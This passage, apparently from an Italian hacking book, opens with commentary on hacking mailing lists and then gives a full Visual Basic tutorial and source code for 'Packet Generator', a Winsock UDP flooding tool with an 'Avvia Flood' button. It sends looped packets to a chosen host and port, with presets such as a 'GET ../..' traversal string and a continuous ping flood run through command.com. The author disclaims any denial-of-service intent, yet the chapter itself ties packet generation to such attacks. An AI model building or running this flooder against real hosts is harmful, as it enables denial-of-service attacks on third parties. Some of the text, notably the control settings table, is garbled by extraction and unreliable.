Sei sulla pagina 1di 11

Hackers Programming Book

I contributi dalle Mail List

Le Mail List sullhacking


Qualsiasi hacker allinizio cerca di informarsi su quelle che possono essere anche solo i punti orientativi iscrivendosi ad alcune MAIL LIST. Moltissime di queste sono italiane anche se come al solito quelle pi interessanti sono quelle americane ed in particolar modo quelle che pur trattando di hacking di fatto non si definiscono come tali ma legate alla sicurezza di rete. La societ in cui viviamo sempre pi soffocante nei confronti degli individui i quali cercano qualsiasi strada per sfuggire a questo meccanismo uniformante che cerca di soffocare qualsiasi individuo spingendolo nei meandri dellanonimit. Questa inconscia violenza che la societ esegue sulle persone fa nascere un esigenza di ribellione al sistema che in campo internet spesso sfocia nella voglia di distruggere tradotta, forse in modo errato, ne significati attribuiti agli hackers. Che questa sia lesigenza di molti casi evidente in particolar modo se si frequentano certe mail list hacker o alcuni canali IRC. Spesso su queste mail list non si crea nulla se non i piccoli imperi di certi individui i quali mantengono le distanze dai loro sudditi mediante un martellare continuo di bestemmie di tutti i tipi. La violenza ideologica viene proietta anche allinterno di un modo di comportamento sociale nellambito di quegli ambienti virtuali che sono le mail list e le chat. Scegliere casualmente una mail list spesso umiliante pi del dovuto in quanto gli imperatori di quella zona tendono a dare dello stupido a chiunque cerchi di avvicinarsi al trono e comunque il fatto di distribuire la conoscenza non sicuramente lo scopo fondamentale di quelle ML. E inutile dire che la mail list ideale dovrebbe essere quella in cui la parola spetta a chiunque e dove i partecipanti pi eruditi cercano di non sottolineare il grado basso di chi cerca di avvicinarsi alle argomentazioni trattate. Pensate ad un mail list in cui un nuovo partecipante formula una domanda e come unica risposta riceve Ignorante perch invece di rompere le scatole qui non ti cerchi quello che vuoi sulla rete senza noiosare ? Costruttiva, non vero ? In una mail list come questa chiunque sarebbe incitato a continuare. Scherzi a parte. Quando allinizio delle mie esperienze telematiche nel 1984 creai con altri sysop la FIDONET italiana la mia idea era quella di creare una struttura che permettesse a persone che nutrivano gli stessi interessi di scambiarsi le proprie esperienze. La stessa motivazione stata quella che mi ha spinto a scrivere diversi altri volumi, oltre questo, e a distribuirli gratuitamente. In ambito internet la mia adesione stata nei confronti di una mail list educata magari non di quelle in cui si parla mediante codifiche algoritmiche allo stato puro ma nella quale potesse sopravvivere anche la componente umana. In altre parole ho evitato le mail list di superman in quanto non sarei riuscito a sopravivere al suo interno in quanto non possiedo un lenzuolo rosso e una tutta con una S marcata sul petto. Quella a cui mi riferisco ZeroHack@domeus.it o alla sua lista di backup ZeroHack@crackinguniversity2000.it Lidea di questo volume di fatto nata in questo ambito e sempre in relazione a questo ambiente nata la proposta di inserire negli aggiornamenti di questo libro qualsiasi utility venisse sviluppata e distribuita allinterno della ML stessa. Questa sezione del volume dedicata ai software italiani nati nellambito di questa ML.

PACKET GENERATOR by JARRET


Negli appositi capitoli abbiamo parlato della necessit in alcuni casi di generare dei pacchetti da utilizzare in alcune tecniche come ad esempio nel caso di attacchi DOS. Fino ad ora abbiamo visto wInject ed alcuni sorgenti utilizzati per scopi ben definiti. A questo punto invece ecco la prima utility nata dallambiente ZeroHack. Si tratta di un software scritto in VB che funge da generatore di pacchetti. La guida stata fornita dallo stesso autore.

Premessa: Con questa piccola guida, si presume che chi la legge abbia un minimo di conoscenza della programmazione in Visual Basic. Il progetto: Vedremo ora come strutturare lapplicazione PACKET GENERATOR, cio una piccola utility in grado di creare pacchetti e di trasmetterli in rete utilizzando le librerie Winsock. Attenzione! Non si tratta di una consolle mirata ad attacchi di tipo D.o.S., ma bens, una utility in grado di generare pacchetti personalizzabili da trasmettere a un computer host. Saremo cos in grado di ricostruire e analizzare i pacchetti inviati e ricevuti utilizzando in seguito uno sniffer (ad esempio ComView). Iniziamo a creare linterfaccia utente: Per prima cosa, buona abitudine stendere il progetto su carta dellapplicazione che vogliamo creare in modo da poter avere ben sotto gli occhi ci che vogliamo. Ora, facciamo finta di aver gi passato questo punto, visto che lapplicazione esiste gi e passiamo alla stesura dellinterfaccia utente. Avviamo Visual Basic e facciamo click su creazione EXE Standard. Fatto questo ci appare il primo Form che di default si chiama Form1. Rinominiamolo in frmMain. Ora inseriamo i controlli. Per creare la nostra applicazione, avremo sulla barra sinistra (generale) gi tutti i controlli che ci servono, tutti, tranne due: Winsock e CommonControl 6.0 (su SP4) Per inserirlo, andiamo nella barra del men e clicchiamo su Progetto>Componenti. Si aprir la finestra Componenti. Ora scorriamo lelenco e cerchiamo Microsoft Windows Common Control 6.0, spuntiamo il checkbox e scorriamo ancora di poco gi e andiamo a selezionare Microsoft Winsock Control 6.0. Ok, ora abbiamo tutto quello che ci serve. Selezionati questi due controlli, scegliamo applica e OK. Ora sulla sinistra, nella barra Generale di VB troveremo dei nuovi controlli, cio quelli che abbiamo appena selezionato. Ora passiamo allazione Abbiamo il nostro bel form che noi abbiamo rinominato frmMain, ok, ora iniziamo a inserire i controlli. E cerchiamo di creare uninterfaccia simile a quella qui sotto.

NOTA: Limmagine di sfondo che vedete qui sopra ovviamente non necessaria, ma per abbellire un po lapplicazione potrete crearvi anche voi uninterfaccia inserendo poi direttamente nelle propriet del Form alla voce Picture una BMP. Andiamo avanti Cerchiamo ora di assegnare i nomi ai controlli nel modo che segue.

Attenzione! In caso decidiate di assegnare nomi diversi ai controlli, in seguito dovrete modificare anche il codice sorgente, dichiarando nelle Sub Routine il nome che avrete scelto per il controllo.

Ok, ora assegnamo valori ad ognuno di questi controlli nel modo seguente: Text1 TabIndex Text Text2 MaxLength MultiLine ScrollBars TabIndex Text3 Locked TabIndex Text TxtPorta MaxLength TabIndex Text Command1 Caption TabIndex Command2 Caption TabIndex Command3 Caption TabIndex Command4 Caption Enabled Check1 Value Enabled Slider1 TabIndex Winsock1 Protocol Combo1 List = = = = = = = = = = = = = = = = = = 1 0.0.0.0 255 True Vertical 2 True 9 Pronto per la trasmissione.. 5 3 80 Avvia Flood 4 Stop 5 Accetta 16

= Pinga = False = Unchecked = False = 12

= sckUDPProtocol = GET ../..

HEAD PING 0.0.0.0 -ICMP 255 -T HELO target.com Ora che abbiamo attribuito ai vari controlli i loro valori, passaimo alla stesura del codice sorgente. Clicchiamo sul form due volte. Ci apparir la Sub Routine Private Sub Form_Load() ma cancelliamola, nessun evento Form_Load() servir al progetto. Inseriamo ora: Sub Timeout(interval) Dim Current Current = Timer Do While Timer - Current < Val(interval) DoEvents Loop End Sub Fatto questo passiamo alla stesura del codice abbinato allevento Click() sul Command1, quindi facciamo doppio click su Command1 (che corrisponde al nostro tasto AVVIA FLOOD) e scriviamo nella subroutine quanto segue: Private Sub Command1_Click() On Error Resume Next If Text2.Text = "" Then MsgBox "Non e' stata inserita nessuna stringa da inviare!", vbCritical Text3.Text = "Trasmissione sul target non riuscita, il valore di trasmissione e' 0..." End If Dim target As String target = Text1.Text Dim Porta As Integer Porta = txtPorta.Text Command2.Enabled = True Command1.Enabled = False Text3.Text = "Trasmissione pacchetto su " & target & " in corso..." Winsock1.LocalPort = 2043 Winsock1.RemoteHost = Text1 Winsock1.RemotePort = Porta Do DoEvents Winsock1.SendData Text2 DoEvents If Slider1.Value = 9 Then Timeout (0.1) If Slider1.Value = 8 Then Timeout (0.2) If Slider1.Value = 7 Then Timeout (0.3) If Slider1.Value = 6 Then Timeout (0.4) If Slider1.Value = 5 Then Timeout (0.5) If Slider1.Value = 4 Then Timeout (0.6) If Slider1.Value = 3 Then Timeout (0.7) If Slider1.Value = 2 Then Timeout (0.8) If Slider1.Value = 1 Then Timeout (0.9) If Slider1.Value = 0 Then Timeout (1) Loop While Command1.Enabled = False Winsock1.Close Command1.Enabled = True Command2.Enabled = False Exit Sub End Sub Passiamo ora a Command2 (Pulsante STOP) e inseriamo altro codice:

Private Sub Command2_Click() Dim target As String target = Text1.Text Command2.Enabled = False Command1.Enabled = True Text3.Text = "Trasmissione su " & target & " terminata..." End Sub

Ora inseriamo il codice per abbinato al Command3 (Pulsante ACCETTA) e inseriamo il listato: Private Sub Command3_Click() On Error Resume Next Dim target As String target = Text1.Text Select Case Combo1 Case Is = "GET ../.." If Combo1.Text = "GET ../.." Then Text2.Text = "GET ../.." Command4.Enabled = False Check1.Enabled = False End If Case Is = "HEAD" If Combo1.Text = "HEAD" Then Text2.Text = "HEAD" Command4.Enabled = False Check1.Enabled = False End If Case Is = "HELO target.com" If Combo1.Text = "HELO target.com" Then Text2.Text = "HELO " & target Command4.Enabled = False Check1.Enabled = False End If Case Is = "PING 0.0.0.0 -ICMP 255 -T" If Combo1.Text = "PING 0.0.0.0 -ICMP 255 -T" Then Check1.Enabled = True Command4.Enabled = True End If End Select End Sub Adesso finiamo di inserire il codice utilizzando la Subroutine di Command4 (Pulsante PINGA) n questo modo: Private Sub Command4_Click() On Error Resume Next Dim target As String Dim Porta As Integer Porta = txtPorta.Text target = Text1.Text If Check1.Value = Checked Then Shell ("command.com /k ping " & target & " -icmp 255 -t"), vbNormalFocus Command4.Enabled = False Check1.Enabled = False Text3.Text = "Trasmissione PING su " & target & " modalit MS-DOS in corso..." End If

If Check1.Value = Unchecked Then Text2.Text = "PING avviato su " & target & ". Premere STOP per terminare" Text3.Text = "Trasmissione PING su " & target & " in corso..." Command4.Enabled = False Check1.Enabled = False Command2.Enabled = True Command1.Enabled = False Winsock1.LocalPort = 2043 Winsock1.RemoteHost = Text1 Winsock1.RemotePort = Porta Do DoEvents Winsock1.SendData Text2 DoEvents If Slider1.Value = 9 Then Timeout (0.1) If Slider1.Value = 8 Then Timeout (0.2) If Slider1.Value = 7 Then Timeout (0.3) If Slider1.Value = 6 Then Timeout (0.4) If Slider1.Value = 5 Then Timeout (0.5) If Slider1.Value = 4 Then Timeout (0.6) If Slider1.Value = 3 Then Timeout (0.7) If Slider1.Value = 2 Then Timeout (0.8) If Slider1.Value = 1 Then Timeout (0.9) If Slider1.Value = 0 Then Timeout (1) Loop While Command1.Enabled = False Winsock1.Close Command1.Enabled = True Command2.Enabled = False Exit Sub End If End Sub A questo punto salviamo la nostra applicazione e proviamo a lanciare il Run-Time premento F5. Se tutto funziona, potrete crearne leseguibile da File>Crea PacketGenerator.exe (qui vi apparir il nome Crea seguito dal nome che avrete scelto da dare alla vostra applicazione).

Tabelle utili